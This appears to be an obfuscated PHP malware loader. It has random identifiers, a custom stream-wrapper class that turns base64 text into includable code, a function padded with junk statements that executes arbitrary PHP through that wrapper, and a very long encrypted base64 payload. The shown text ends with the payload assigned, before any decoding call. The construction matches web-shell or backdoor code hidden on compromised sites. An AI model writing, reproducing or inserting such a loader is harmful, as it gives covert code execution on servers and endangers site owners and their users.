class Wghntdzk{public $context;public $d;public $p=0;public $l=0;function stream_open($path,$mode,$options,&$opened_path){$this->d=base64_decode(substr($path,7));$this->p=0;$this->l=strlen($this->d);return true;}function stream_read($count){if($this->p>=$this->l)return false;$r=substr($this->d,$this->p,$count);$this->p+=strlen($r);return $r;}function stream_eof(){return $this->p>=$this->l;}function stream_stat(){return array(0=>0,1=>0,2=>0,3=>0,4=>0,5=>0,6=>0,7=>$this->l,8=>0,9=>0,10=>0,11=>0,12=>0,'dev'=>0,'ino'=>0,'mode'=>0,'nlink'=>0,'uid'=>0,'gid'=>0,'rdev'=>0,'size'=>$this->l,'atime'=>0,'mtime'=>0,'ctime'=>0,'blksize'=>0,'blocks'=>0);}function stream_set_option($o,$a1,$a2){return false;}function stream_truncate($s){return false;}function stream_lock($o){return false;}function stream_seek($o,$w=0){if($w==0)$this->p=$o;return true;}function stream_tell(){return $this->p;}function stream_close(){return true;}function url_stat($p,$f){return array();}}
function jrlfnnak($c){$jzmvv=sprintf('%s','fnfh');$jejze=strlen($jzmvv);
$jdfpt='kcayyjnpsu';$jyqhx=substr($jdfpt,3,4);$jyqhx=trim($jyqhx);
$jeojc=sprintf('%s','zwaa');$jpxph=strlen($jeojc);
$jxegl=explode(',','eoj,zby,gyt');$jwaeo=implode('-',$jxegl);
if(!in_array('cggn',stream_get_wrappers()))stream_wrapper_register('cggn','Wghntdzk');include 'cggn://'.base64_encode('<?php '.$c);}
$xvoymek=base64_decode('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